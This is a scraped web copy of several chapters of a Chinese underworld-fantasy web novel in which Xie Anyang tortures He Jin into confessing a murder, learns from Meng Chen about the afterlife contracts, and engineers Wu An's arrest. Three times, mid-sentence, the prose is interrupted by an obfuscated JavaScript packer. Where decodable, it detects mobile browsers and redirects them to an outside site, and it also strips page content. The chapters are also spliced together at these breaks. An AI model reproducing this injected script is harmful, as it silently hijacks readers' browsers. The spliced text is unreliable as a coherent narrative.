花丛茂密,又临近忘川河畔,谢安阳环顾了一遍四周,没看到有什么人靠近,摁着他肩膀的手就用力了些。 河畔就是好,都没什么人敢靠近。 何进奋力挣扎了几下,却做了无用功,吓得一惊,“你要干什么?” 谢安阳眺望着雾气腾腾的河面,轻声说:“你可知,地府的刑罚名叫神罚,神罚分很多种,每一样都是精神与肉/体上的极致折磨,一旦担上罪责,地府的人可没有忘川府那么耐心,他们会直接将你推进狱境中,一旦你触发某种神罚,将会是长时间的折磨,直至罪孽洗清!说清楚点,你与何琬是什么关系,否则我立马送你去对岸!” 谢安阳做这事儿时没想着避开茴香豆,而茴香豆也出奇地在旁边添油加醋,“你还不知道吧,阳儿是老城主的私生子,还是新城主候选人,他是有权利送你去对岸的。” 何进被按得肩膀酸痛,一时招架不住,连忙说:“我没有撒谎,我真是琬儿的兄长!” 谢安阳“哦”了一声,“那就说说你撒谎的部分。” 他话音落下,空旷的四周就响起骨骼的咔嚓轻响,何进难以忍受地呻吟起来,奈何被拽紧了胳膊,完全挣脱不及。 何进生怕他做得更过分,着急忙慌地辩解:“是那死丫头不听话!我与父亲替她寻了门亲事,可她看不上,还非吵着要下嫁一个寒门书生,结果呢?人家根本没看上她。” “你在忘川待了上千年,应该知道忘川水有什么作用吧?” 谢安阳半信半疑,不顾何进的拼命挣扎,又生生将他拖到了忘川河畔,然后擒住他的左手,毫不犹豫按进了河中。伴随着何进的惨叫声,谢安阳笑吟吟地说:“正好,替我试一样东西。” 何进眼看手被河水腐蚀成血肉模糊的一团,惨叫声不绝于耳,奈何力气不如谢安阳,连声哭着说:“是我杀了她!” 谢安阳松手了。 何进吓得远离了河畔,痛哭流涕地掐着手腕骨,妄图借此缓解痛楚,惊慌之余,口中还念念有词,“我都说,我都说……” 谢安阳则冷冷地警告:“如有虚言,下次没的就不是手了。” 何进身体因极度恐慌不禁颤抖起来,“书生是被爹逼死的,死丫头发现了,还扬言要报官,我们起先只是想用绳子绑她回房,谁曾想她挣扎的时候竟用镇纸砸了爹……我、我就是不小心把她勒死了。我没想到她醒来后竟不记得自己是怎么死的,也忘记了那个书生……” 何进说到这里,语气怨怒了许多,开始不顾形象地嘶吼,“当年就是因为她,害我一生仕途无望,我看到她就来气……我一开始就是看到她太过气愤,我没想要她的命,真的……我哪知道她自己都把书生忘了。” 谢安阳听着他的哭声,实在觉得聒噪,就淡声说:“何琬无辜,两次死于你手,这下好了,她连轮回的机会都没了,她把这根银簪交给我保管,我就顺道帮她个忙吧。” 何进感觉到了谢安阳强烈的杀心,拼命挣扎起来,“求求你,你放过我吧,我知道错了,我真的知道错了……” 谢安阳无动于衷,一步步将他拖向忘川河畔。 何进一时吓得慌不择言,“她死不死关你什么事……我知道了,她勾引你了对不对,这死丫头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可是又不对,常宇说过,彼岸花有神力,会修复人的身躯,可为什么他身上已经腐烂枯骨了。 谢安阳笑说:“孟先生,我没有耐心,你能否解释一下,你这彼岸花是从何而来?” “这是终身契,你也有,不是吗?” “……” 谢安阳似乎猜到了什么,眼中笑意不减,“先生可曾听说过前任西园掌事孟忱?” 茴香豆笑容凝固了,许久才收敛了许多,“惭愧,那是从前的名字了。” 30. 攻心(四) 孟忱倒是脸不红、心不跳的,“阳儿,洪磊的事你大意了。” 谢安阳问:“怎么说?” “你放过他一天,一天的时间够长了,他若是找到差使禀明因由,你当如何?” “我签过问心契,动不了他。再说了,不是有你帮我善后吗?”谢安阳眉眼含笑,就仿佛一早就知道孟忱会替他盯着洪磊一样。 感觉他俩话还很长,谢安阳席地坐到了孟忱身侧,二人并肩坐在河畔边缘,谢安阳真心诚意地说:“……多谢孟先生替我善后。” “不必言谢,就凭咱俩这交情,应该的。” 谢安阳笑容却消失了,一改漠然地看着他问:“为什么帮我?” 孟忱格外坦然地接了话:“容我想想,该从哪里开始说起……不若就从二十四年前忘川府动乱说起?” 谢安阳未置可否。 孟忱沉思了好一会,才娓娓道来:“二十四年前,有个人手上沾了几十人的血,却因忘川府的失职让他入了轮回。那件事闹得很大,牵扯了忘川府很多人进去,花田无人知晓,忘川府上下皆知,却至今无人敢提。” 谢安阳默默听着,静待下文。 孟忱继续说:“忘川府没有狱境,无法问责罪孽深重的人,城主就和众人商量上报地府,让对岸派人来处理。本来他被关押在南园好好的,已经择好日子准备送去对岸了,谁曾想会出意外。地府上级知道后极为震怒,将所有涉及人员一应处理了。个中缘由我并不清楚,只知道是老城主做主让他去的轮回,而我不过是弄错了卷宗,也算是奉命行事,却沦落到今天这个地步。” 谢安阳有些疑惑:“地府是怎么处理的?” 孟忱叹息一声,“轻则抹除记忆送去轮回,重则签下问心契,再送去对岸狱境关押千年。我算是前者,而常宇作为城主,也是这场因果的主导者,惩罚最是严重,属于后者。” 谢安阳打量了他一会,“可你怎么没去轮回?” 孟忱笑了,“你猜我为什么会跟地府签下终身契?” 谢安阳兀自猜测:“不愿去轮回?” 孟忱笑说:“轮回有那么好的话,我当初何苦留在地府。生前就不得善终,再轮回一世,也不过是徒增悲苦。” 谢安阳:“不懂。” 孟忱抚着下巴的胡子:“年轻人。” 谢安阳又打量着他身上腐烂的枯骨,“那你这怎么回事?” 孟忱也自我观看了一会,无奈地说:“你是城主候选人,他们难道没跟你说过,终身契修复身躯需要力量源吗?也就是你之前说的能量。花田什么也没有,终身契本身的力量被消耗完后,没有别的能量补充,是没有办法自愈的。” 谢安阳无法理解,又问:“那人轮回就轮回了,惩罚怎么会这么重?” “他是带着记忆轮回的,手上还有几十条人命,你说呢?”带着记忆去轮回的恶人,未必肯重头来过,说不定还会利用凌驾于凡人之上的记忆优势四处害人。 谢安阳自己消化了一会,又觉得好像哪里不对劲,“你刚刚是不是说,老城主签下问心契?” 孟忱立马懂了他的意思,“你没猜错,问心契就是给有罪之人的,一则是问罪,二则是问心契加身令其无/□□回,而你身上的问心契是常宇的。常宇被剥夺了终身契,又被问心契加身,是准备送去对岸狱境接受神罚,而我只是被撤职,但不愿意轮回,就自请来这里待了二十四年。” “所以你的意思是,常宇是忘川府的罪人!?” “这件事本就是他起的头,没有他下令,南园也不会出差错,更何况他当时还害死了不少忘川府的人。” “那常宇又怎么会到花田?” “他的确是被带去对岸了,后来我再见到他的时候,他身上已经有了新的终身契,整个人苍老了许多,还到处忽悠花田的人接受问心契,这分明就是终身契出现了反噬的结果,我就猜测他多半是不想受神罚,自己逃回来的。” 谢安阳不禁急切起来,“那他的终身契呢?” 孟忱安抚似的按了按他的肩膀,“这不还没说完么——他身上的终身契是别人的,那个人名叫沈长鸣,乃是忘川府的设计者。当年那件事按理说与沈长鸣无关,可后来也不知道他怎么就跟常宇搅合到一起了,自打常宇回来后,我就再也没见过他,后来才知道常宇拿了他的终身契。” 谢安阳摸了泥里的石子扔水里玩,“那你可知我是谁?” 孟忱看他一眼,格外认真地答了三个字:“沈长鸣。” 谢安阳笑了一下,“空口无凭,你都能认出我来,忘川府的人岂会认不出?”比如刘钦认识沈长鸣,却没认出他是谁。 孟忱说:“轮回后相貌都会发生变化,一般人是认不出来的。” “那你怎么认出来的?” “你能接受沈长鸣的终身契,身体不会排斥,你就是沈长鸣。” “?” 孟忱又说:“长鸣,你可能想不起来上一世的事情了,地府界内有办法让你恢复记忆,忘川府不行,有机会的话,你去对岸走一趟吧。” “那倒不必,太折腾了。”复仇这件事已经够让谢安阳心力交瘁了,他不想浪费时间搞别的,“你说重点吧。” “你记住了,你就是沈长鸣。” 谢安阳:“说人话。” 孟忱说:“终身契能让人不老不死,而你看到的常宇已经一把年纪了,你可能不知道,二十多年前,他还是而立之年的模样,仅仅一年时间就让他老成了那副样子。他若再不找人把问心契和沈长鸣的终身契剥离,他会直接老死,永不入轮回。” 看谢安阳若有所思,孟忱继续说:“问心契得有人自愿接受,而终身契虽会排斥,但至少能让他可以行走于地府,总比沦为花田的人强。” “所以就是我自己主动送上门的?” “常宇是老城主尚且只能撑一年,更别说花田其他人了,很多都是几个月就苍老而亡了,最多就有能坚持一两年的,而你的相貌三年来没有变化,你就是沈长鸣。” 所以他的意思是,常宇是有罪之人,他的终身契被地府剥夺了,还被强行签下问心契,但他阴差阳错拿到了沈长鸣的终身契。然而因为不是自己的东西,身体产生排斥,所以一年时间内迅速变老了。 “他以前找过别人吗?” “找过,几乎都是两张契约一叠加就彻底消亡,更何况没有多少人愿意接受问心契。你是唯一没有变老,并且也没有被排斥的人,所以你定是沈长鸣。每个体质不一样,能接受别人终身契反噬的时间也不一样,他这些年害死了不少人,沈长鸣的终身契快撑不住了,所以他才迫切想要找人代替他。” 谢安阳仔细琢磨了一下,这样一说,不出意外的话,他又被坑了一道。原来当初并非他特殊,而是常宇在拿人试终身契,落到他却是碰上正主了而已。 孟忱又说:“安阳,地府所有的契约都有印信,你身上的问心契叫常宇,你还有常宇的信物,可想而知,忘川府的人发现会怎么对你——你那个手串,我建议你还是扔掉吧。” 谢安阳闻言,默默掏出那串手串,突然手抖了一下,觉得那玩意像个烫手山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“被放走的那个人是谁?” “他上一世叫陈拓,这一世好像叫……吴桉。” 谢安阳冷笑一声,不知悲喜,“你是不是以为你这样说,我就不会杀你了?” 孟忱:“是我对不起你。” “是啊,”谢安阳突然被勾起了情绪,满腹的委屈几乎憋不住了,“你们是对不起我,如若不是你们放走了他,我爸、我妈,还有安心,我们一家怎么可能死于非命?多大的仇多大的怨啊,他与我家朝夕相处,不是家人却胜似家人,可就是他手持一把手术刀,生剖了我的心,你倒是说说我该恨谁!?” 孟忱愣住了,“我不知道,我以为那是个被冤枉的普通人。” 谢安阳突然笑出了几声,“你知道我现在有多想把你沉忘川吗?” 孟忱只好说:“你身上有问心契……” “那又怎么样?”谢安阳已经疯了,直接打断说:“你等着,等吴桉死了,下一个就是你,再一个就是常宇,你们所有人我都不会放过的。” 孟忱感到很无奈,低下头说:“我的时间差不多了,你不用亲自动手,以免背上罪孽。” 谢安阳冷笑一声,并不想接话。他现在的确不能动这老东西,否则问心契生效,他可能连吴桉都处理不了。 “长鸣,我可以帮你。” “你帮我什么?帮我杀人吗?” 孟忱却认真地回了个字:“好。” 谢安阳突然发现,他很疯,而孟忱比他还疯。谢安阳未置可否,一言不发地转身走开了。 孟忱似乎不甘心,又冲他背影说了一句,“长鸣啊,长路多荆棘,你要稳稳当当地走下去!” 31. 攻心(五) 谢安阳路过往生殿时,门口值守有两名值守的差使,大堂的差使也忙着招待新来者,没看到王鹤青。他在门口徘徊不前,直到有个差使向他招招手,“安阳,找王掌事还是吴桉?” 谢安阳犹豫了一会,问:“王鹤青呢?” 差使说:“他今天休息,你要不去他家找他?” “不用了,我找吴桉。” 差使早就习以为常,没说别的,却看见他走出几步后,又突然回身了,“兄弟,能否请你帮我个忙?” 谢安阳一边说,一边塞给他一块巧克力,差使蹙眉问:“你想干嘛?” 谢安阳凑近耳语了几句,差使听得面色为难,“这事儿,王掌事知道吗?” 谢安阳大概是不要脸皮这玩意了,当即说:“我说的话,他都会答应的,而且这件事于他来说并非坏事。” 差使张口就想怼,可话到嘴边,又无言以对,“你到底想干嘛?” 谢安阳眼角一弯,“你不去的话,王鹤青可能会出事,往生殿上下也不会好到哪去。” 差使却犹豫不决,“我还是先知会掌事吧。” “你要是说了,他可能不会同意,还容易引火上身,”谢安阳表情恳切而又认真:“你相信我一次,就算出什么事,往生殿有窥镜,能证明责任不在你们。” 差使迟疑了好一会,又忍不住问:“万一刘掌事不肯来怎么办?” 谢安阳却掏出一封信递给他,还一副胸有成竹的模样:“把这个交给他,他一定会来。” 差使只好点头说:“行吧,但我丑话说在前头,你若是戏弄大家,往后我们往生殿就不会欢迎你了。” 谢安阳眨眨眼:“多谢。” 谢安阳目送着他跟另一名差使交代着什么,随后离开往生殿,朝着忘川而去。 谢安阳转头就去找了吴桉,彼时吴桉还在家酿葡萄酒,瞥见他来了,一言不发地继续倒弄葡萄。 他深吸了一口气,面上浮现出和气的笑容,凑过去伸爪子想提溜葡萄,却被吴桉打开了,吴桉还白他一眼,“你又想来干嘛?” 谢安阳无奈地抱怨:“我不能来找你吗?” 吴桉没好气地说:“你一来就没好事。” 谢安阳轻哼一声,不言语。 吴桉将他打量了一通,发现他身上竟沾染了些许血污,就问:“这是挨仇家毒打了?” 谢安阳自来熟地走到一旁给自己倒茶喝,假装随口提起一句,“昨晚忘川府闹得不可开交,刘钦被城主骂了个狗血淋头,我话都插不上。” 吴桉:“怎么了?” “听说是为一个建筑师吵起来的,他好像是忘川府的设计者,我记得他好像叫……”谢安阳捧着茶杯抿了一口,又像是想起什么似的,“对了,他叫沈长鸣。” 吴桉面色有些绑不住,手抖了一下。 谢安阳注意到了,故意抬眼问:“你不对劲。” 吴桉却从容不迫地问:“沈长鸣怎么了?” 谢安阳耸耸肩:“没听清,好像是沈长鸣轮回出了差错,上面要彻查,还要查二十多年前放走的恶人。” 吴桉脸色顿时有些难看,“听起来跟你也没什么关系,你不会是偷听被发现了,特地来我这里躲一遭的吧。” “不是,这些天忘川府上下都在议论沈长鸣的事,还有人说沈长鸣回来了,说得煞有其事,我都信了。” “哦。” 谢安阳转念又问:“话说你有没有听说过沈长鸣?” 吴桉白他一眼,继续倒弄葡萄,含糊不清地说:“略有耳闻。” 谢安阳眨眨眼,立马殷勤地给他倒了杯茶,“跟我说说呗,他是什么人?说不定我能猜到刘钦被骂的原因。” 吴桉深深地看他一眼,无奈地说:“我只听说过一点——这人生前杀人放火无恶不作,身上背有人命,但他设计出了忘川府,忘川府迫于无奈,就谎称说送他去了轮回。” 谢安阳笑了一下,“是吗?” 吴桉说:“我听人说的,当不得真。” 两人间有了短暂的沉默,谢安阳盯着茶杯发呆,吴桉则继续酿酒,还不忘碎碎念叨:“大少爷,你老往往生殿跑像什么话,回头被刘掌事知道了怎么办,我可听说刘掌事不是个好相与的。” 谢安阳却笑了,“那你想错了,刘钦也就脾气臭了点,还是很讲人情的。” 吴桉无言以对。 谢安阳看了一眼房间里堆了不少的酒坛,心说吴桉这人的确挺无聊的,“话说回来,你就不为自己的将来打算打算吗?” “打算什么?” “你总不能永生待在往生殿打杂酿酒吧?” 吴桉愣了一下,随后话音突然没了温度:“家仇未报,我在哪都一样,而况这里是地府界内,除了轮回,我还能去哪里?” “那倒也是。”谢安阳说着扔下了茶杯,不时往门外望一眼。 果不其然,吴桉酒弄好了以后,外头突然出现了逐渐靠近的、整齐的脚步声,还有锁链的拖拉声。 谢安阳面色从容地站起身往外走,“外面什么动静?” 吴桉也神色不安地看向门外。 不多时,就看见谢安阳扒拉着门框瞄了一眼,仅仅一眼,又迅速抽身回来,神色慌张地回头看吴桉。 吴桉心中也有些不安,就问:“怎么了?” 谢安阳不可置信地说了一句,“我好像看到刘钦来了。” 吴桉整个身体僵硬了一下,又听谢安阳飞快地补充说:“你快走!” 吴桉强装镇定地说:“不一定是来找我的。” 谢安阳垂眸想了一想,把他往后门推搡,“不能让刘钦看到我们待在一起,他还不得弄死我?” 吴桉像是得到了可走的理由,转身就朝着后门而去,然而他们刚刚离去,大门突然被人暴力破开了,几十名差使一拥而入,为首的正是刘钦。 谢安阳拉着吴桉一路躲,吴桉脸色青白了许多,难免生了疑心,“刘钦是来找你的?” 谢安阳在前头带路,没心没肺地应了一声,“先走吧。” 吴桉虽跟着走,不安越涌上心头,“既然是来找你的,何必大动干戈?” 谢安阳忙着避开路上的差使,烦躁地扔下一句,“出了点事,他对我生了疑心。” 吴桉话音冷了下来,“沈长鸣的事跟你有什么关系?” “不是沈长鸣,是别的。” 吴桉听不下去了,强行站住了,一把拽住了他,平静地问:“那和我没 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谢安阳强颜欢笑:“钦儿哥,你怎么来了?” 刘钦却冷冷地吼了一句,“你闭嘴。” 吴桉下意识往谢安阳身侧靠,谢安阳这就不高兴了,“你干嘛呢?” 刘钦却是跟身边鬼差打了个眼色,二话不说上前就架住了吴桉,同时刘钦伸手一把将谢安阳薅了过去。 谢安阳炸呼呼地嚷嚷,“你干嘛啊!?” 刘钦掏出一张信纸展开,随后面不改色地看向吴桉,扔下一句,“吴桉是吧?” 吴桉似乎明了,忍不住笑出了一声,看向谢安阳,自言自语地说:“果然。” 谢安阳觉得他误会了什么,连忙解释说:“不是我带他来的。” 刘钦扯了他一把,示意他别多话,对吴桉说:“王掌事说,他将你扣押在这里两载,只是想看看你会做什么,想不到这一世,你手上又粘上人命了。” 谢安阳感到不解:“刘钦,你在胡说什么?” 吴桉只是笑,“谢安阳,想不到都这个时候了,你还在装傻。你这样能装,我居然都没发现。” 刘钦提高音量问:“花田那些人命是否跟你有关!?” 吴桉出奇地点了头,“是。” 谢安阳难以置信地看了看他,又看向刘钦,“不可能的。” 刘钦没搭理他,只是扔下一句,“带回忘川府,慢慢审。” 谢安阳这就不乐意了,抓住刘钦胳膊说:“刘钦,这是不是有什么误会,关他什么事?” 谁曾想,刘钦却白他一眼,“怎么,王掌事没告诉你今天这一幕吗?” “王鹤青,他说什么?” 杨洵提醒说:“我们是收到了王掌事的手信来的。” 刘钦讥讽了一句,“看来你们关系也不怎么样。” 谢安阳身体僵硬了一下,满眼震惊:“不可能的。” 刘钦却扒拉开他的手,“把这小子一并带回去。” 杨洵小心谨慎地问:“要拷人吗?” 刘钦冷笑一声,“不然呢?” 杨洵迟疑了几秒,只好看向谢安阳说:“得罪了,安阳。” 32. 攻心(六) 谢安阳就不太甘心,抓住了刘钦的胳膊不让他动,“你凭什么无故拿人?” 刘钦盯了他的爪子,冷冷地丢下俩字:“松手。” 谢安阳怂兮兮地松了手,没什么底气地说:“你若不说清楚,我就去找城主!我是城主候选人,你就算要动我,也要知会城主一声吧!?” 而吴桉始终沉着脸没吭声。 刘钦可能是觉得自己的举动的确没什么说服力,目光扫了一眼吴桉,沉声说:“陈拓,我们找你找得好苦啊。” 地府界内一直在催,上次还闹矛盾了,说什么他们枉死城故意包庇陈拓。 而吴桉的身躯肉眼可见地一震,脸上的从容也有些绷不住。 谢安阳震惊地接了一句,“什么陈拓?刘钦,你是不是认错人了?” 刘钦忽然往前走了一步,谢安阳收敛了吊儿郎当,下意识地张开手臂挡住了他的去路,眼巴巴地望着他,“刘钦,你说清楚。” 刘钦没搭理他,又对吴桉说:“谢安阳这人傻了点,难怪能被你骗这么久,可你不能因为他傻,就这么对他吧?” 听刘钦这意思,是不打算搭理谢安阳了,谢安阳就不太甘心,也不清楚哪里出了意外,就故意上前去扒拉架着吴桉的差使。 差使生怕佩刀误伤他,吓得纷纷往后退了退,却被谢安阳趁机夺了刀,他压低声音对吴桉说:“快挟持我……” 刘钦眉头一皱,“谢安阳,你给我滚回来!” 吴桉后知后觉地看了看谢安阳,毫不犹豫夺了刀反手擒住谢安阳,而后威胁身侧的差使,“谁敢过来,我就与他同归于尽!” “你以为你走得掉?”刘钦面色格外难看,想也没想就下了令,“给我拿下!” 谢安阳这回急了,“刘钦你个王八蛋,你不管我的死活了吗?” “你闭嘴吧,你除了添麻烦还会什么!?”刘钦气不打一处来,“都愣着干嘛,拿下陈拓,伤到这小子回头城主能给他治。” 吴桉这回绝望了,也不再演下去,把刀让开了,他低声说:“安阳,我不该怀疑你的,你走吧。” 谢安阳再顾不得什么,便急切地质问刘钦:“你要把吴桉带到哪去?” 杨洵叹口气,说:“人间行恶之人不归忘川府管,自然是先收押,回头交给地府界内。” 话音一落,一众差使立马围了上来。 谁知吴桉并不想束手就擒,一掌推开谢安阳,握紧佩刀就跟差使们缠打起来。 场面一度有些混乱,刘钦也察觉了不对,当即骂了一句:“负隅顽抗!” 谢安阳脑海中一片空白,看他们打成一片,自己根本插不进去,便转身看着刘钦,哀求道:“求你了,刘钦你放过他。” 刘钦依旧懒得跟他掰扯,手中弓箭再次化而为形,看吴桉已经落了下风,正力不从心地挣扎着,就将弓箭挽了起来,一道流光箭很快成了形,下一瞬箭已离弦。 那一瞬,谢安阳不知道抽的哪门子风,身体竟不由自主地歪过去,直愣愣地挡在了吴桉面前。 一箭流光箭正好洞穿谢安阳的胸口,光芒又于一瞬间溃散了个干净,血流随之泊泊而出,很快浸透了衣襟。 刘钦气急败坏地骂:“谢安阳,你还真是鬼迷心窍了!” 吴桉也愣了一下,愣神的功夫也被擒住了,他还是难以置信地望着谢安阳,艰难地呓语出一句:“安阳?” 谢安阳懵了好一会,人几乎栽倒了,又被刘钦接了个正着,他无力地扒住刘钦的胳膊,憋了许久,才无力说出一句话,“……我上辈子欠你们的。”他感觉每吸一口气,喉咙都疼得慌。 吴桉也是惊慌地叫了一声,“安阳!”若不是被两个鬼差押住,他已经奔过来察看谢安阳的状况了。 刘钦冷冷地扫了吴桉一眼,咬牙切齿地吩咐:“把他带去忘川府,候审!” 差使们得令,干脆利落地拿下了吴桉。 谢安阳抿了下唇,张口想说点什么,刘钦率先低吼了一句,“你再为他求情,我现在就把他沉忘川!” 谢安阳:“……” “刘钦……”谢安阳抹了一手血,总觉得自己时日无多了,生怕会来不及,就紧紧抓住刘钦的胳膊,有气无力地哀求说:“我要见王鹤青,你能不能去找他来?” 刘钦没好气地说:“回头再说。” 谢安阳仍旧拼命抓着他不放,“我就要死了,你让我见他最后一面!否则我死不瞑目!” 刘钦:“这个时候了,你还不忘犯病?” “……” 刘钦看他艰难地吸了口气,一时心软了,便翻个白眼,“你不是人间的肉身,死不了的,少自己吓自己,我保证你不会有事,等城主回来救你!” 谢安阳被他气得不轻,但想了想,还是妥协了,声气也愈发微弱:“求你了,刘钦,帮我找王鹤青……” 刘钦有些烦躁,只好吩咐一旁的差使:“你,把王鹤青找过来。” 差使:“好。” 谁知谢安阳又眼巴巴地看着刘钦:“我要见小植,你还得去找小植。” 刘钦张口就要怼,转念想到什么,又蹙眉问:“……你是不是故意支开我?” 谢安阳无力地摇摇头:“小植害怕生人,但不怕你,何况她的事你最清楚,你去找她吧,求求你。” 刘钦很无语,只好转头对杨洵说:“你看好他,我会找小植。” 杨洵应着声,从他手里接过谢安阳,目送他离去后,又看向谢安阳,仔细一回想他撒泼的样子,心说这人不能惹,还没等他开口,就问:“你还要见谁?” 谢安阳:“呃……梧桐吧。” 杨洵:“给你脸了,敢打我梧桐妹妹的主意?” 谢安阳:“你别逼我。” 杨洵横眉冷对。 谢安阳:“……” 其实刚才的嬉皮笑脸都是装出来的,他感觉身体痛到了极致,几乎要晕死过去,可是他又怕睡过去,这些人会给他检查伤痕。 等到王鹤青来,杨洵简单地说明了缘由,王鹤青还来不及咋舌,谢安阳就装不下去了,伸手去抓王鹤青胳膊,说:“走,带我去你那里。” “想不到阳儿你也有今天,”王鹤青却任由他抓着,一动不动,还不冷不热地扔下一句,“你先说清楚你心里有谁,你喜不喜欢我?” 谢安阳:“别犯病,先离开这里。” “你是不是喜欢吴桉?” “你他喵的有病吧?” 王鹤青:“不说算,我走了。” 杨洵在旁边看好戏,还吩咐旁人,“去东园端盘瓜子来,应该还能赶上这出负心薄幸。” 谢安阳:“曰。” “求人就要求人的态度,”王鹤青说着,还故意蹲下身去与谢安阳平视:“来,阳儿,叫哥哥。” 谢安阳:“……” 杨洵问:“王掌事,这样对咱们少城主不好吧?” 王鹤青手指蹭了蹭鼻尖,轻笑着说:“我要是真带他走了,他醒来必定会说三个字。” 杨洵:“?” 王鹤青微笑:“滚远点。” 谢安阳:“……”还别说,真有可能。 王鹤青叹口气,“对付这种没良心的渣男,就该趁他病要他命,惯着他可不会有好结果。” 杨洵:“……” 王鹤青看谢安阳死活不开口,便伸手薅了他一下,专门盯着伤口杵,直令他疼得呲牙咧嘴。 王鹤青非但没有觉得愧疚,还得意地说:“老实说,我和吴桉你到底喜欢哪个?还给他挡箭,真伟大啊,我对你这么好,怎么就没见你给我挡箭呢?” 行,有事求他。 谢安阳咬牙切齿:“老子的偶像是马克思爷爷!老子毕生的追求是做个遵纪守法的好公民!” 王鹤青却忽然凑近了些,在他耳畔小声问:“遵纪守法?你的心不会虚吗?” “……” 谢安阳:“好,你滚,不需要你了,让老子在这里自生自灭。” 王鹤青撇了撇嘴,这才问:“刘钦呢?” 杨洵说:“找安阳的妹妹了。” 谢安阳就不太想浪费时间,烦躁地拽了王鹤青一把,“少废话,咱们走,离他们远点。” 王鹤青犹豫了一下,又问:“安阳,认真点,你希望我抱你去往生殿,还是背过去?” 谢安阳:“……有没有第三种方式?” “有啊,”王鹤青竟上手抓住他的脚踝,“这样一路拖去往生殿,可能会有点疼,想不到你竟然喜欢这种……” 但凡是人间的肉身,他早晕过去了,怎么可能经得住他们这么折腾? 谢安阳纠结了很久,最终生怕刘钦来太快,就妥协了,冷哼一声,命令:“转过去,背我。” “……行吧。”王鹤青想起什么,又对杨洵说:“回头刘钦来了,就让他去我家吧。” …… 谢安阳迷迷糊糊中听到王鹤青在旁边说话,“安阳,还是我对你好,替你换衣服愣是没动心思,你还能找到第二个像我这样的正人君子吗?” 谢安阳脑仁疼,有气无力地骂了一句,“滚远点。” “醒了啊?”王鹤青突然心血来潮,抓起了他的左臂端详起来,“你这个印记不对劲啊……” 他还没说完,谢安阳就猛地抽回了手,整个人也惊醒了,还慌张地环顾四周。 王鹤青猜到了几分,连忙说:“别怕,在我家呢,没外人会来。” 谢安阳松了口气,感觉胸口闷得慌,低头一看,全是绷带,还透着钻心的痛意。以往他受伤,过不了多久就会自愈,可是这次好像愈合不了了。 王鹤青这回神情严肃了许多,“你这不会是终身契印记吧?” 当初就猜到王鹤青会知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496516|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,谢安阳没打算瞒着,“嗯”了一声,默默地绑绑带遮住印记。 王鹤青整个人几乎跳了起来,震惊道:“你一个枉死城的人,哪来的终身契!?” 谢安阳觉得脑仁疼,“小点声。” “你说实话,不然这事儿一旦传出去你就完了。” “有个人给我的。” 王鹤青没怀疑,谢安阳从不对他说谎话,且枉死城中人抢别人终身契也不容易,他转念想了想,整个人又不好了,“你什么时候接受的?” “三年前。” “你他妈有病啊!?”王鹤青骂完又抓着谢安阳一通检查,“你现在感觉怎么样,有没有哪里不舒服?” 谢安阳白他一眼,“滚开,你别管。” “不是本人的终身契会受到反噬的你知不知道?” 谢安阳不想浪费时间跟他扯皮,“我是最近才知道的,你别说了,我不想听,我告诉你这件事,不是为了跟你争吵的。” 王鹤青这才懂了,“所以从一开始你才会找我?吴桉是你什么人啊,你就宁可替他挡箭,还让我替你收拾烂摊子?你是真不怕连累我啊,你们枉死城刑罚轻,而我们地府呢,你知道我替你瞒着被发现是多大的罪吗?” 谢安阳一愣,没接话,起身就想走,又被王鹤青一掌推了回去,心口顿时疼得炸起来,“你有病啊,老子是伤患!” “干什么去?” “老子不连累你,你就当什么也没看到,行了吧!”谢安阳捂着心口闷哼起来。 “冲我嚷什么??” 谢安阳耐心地说:“吴桉的事到此为止,绝不会连累到你,刘钦那边已经将你撇干净了。” 王鹤青明白他说的是什么,当即问:“是了,他们说人是我通知刘钦的,你就是想借此把我摘出去?谢安阳,你真有良心啊,还不忘为我考虑呢,我是不是该谢谢你?” “不必。” 王鹤青看到他这副样子,越想越气,继续骂骂咧咧:“你是不是觉得你有求于我,我就会不计付出帮你?就你这种情况,我完全可以要求你满足我某些要求,可我没有趁人之危,你呢,你口口声声说不连累我,却什么也不肯说,就一味让我给你收拾烂摊子??” 谢安阳觉得他说得对,起身又想走,“以后我不会找你了,要是他们查到你,你就将一切罪责推给我。” 谁知王鹤青又一掌把他推了回去。 钻心疼。别问,问就是在渗血。 谢安阳毛都炸了:“你想我死你就直说!” “养着,老子给你想办法。” “什么玩意?” “这道印记已经在你身上三年了,现在就是个不定时炸弹,当心哪天就炸了!你现在打算怎么办,一边是终身契反噬,一边是面临被发现的风险,你这是死路啊。” “无所谓,老子活腻了。”反正他仇也报了个七七八八,尽管还不太甘心,还有点时间。 “就这么给了终身契,还不如便宜我。” 谢安阳捂着太阳穴哼哼唧唧起来,“你老说这些,我脑仁疼,你别说了,哎哟心口又疼了。” “疼死你活该。”王鹤青骂完了,又瞥他一眼,一本正经地问:“话说回来,你是不是不信任忘川府的人?” 谢安阳想了好一会,才自嘲一句:“万般皆为利,我又不是小孩子,他们怎么想的,我还是猜得到的,不过是逢场作戏而已。” “那刘钦呢?” “他……”谢安阳犹豫了一下,又自嘲地笑了两声,“他也一样,真翻脸的时候,他们是不会认的。” “那吴桉呢,你为什么替他挡箭?” 谢安阳却淡声反问:“他现在这个情况,会受到什么样的惩罚?” “先受神罚,他的罪孽有多深重,神罚就有多重,然后送去轮回。” 谢安阳皱紧了眉头,问:“他为什么还能去轮回?” “罪不至此……”王鹤青越说越觉得哪里不对味儿,大为震撼地问:“你处心积虑就是为了让他获罪??” 谢安阳眸光微沉,没吭气。 “那你替他挡箭又是闹哪一出?” 谢安阳却做了个噤声动作,“别问,容易引火上身。” 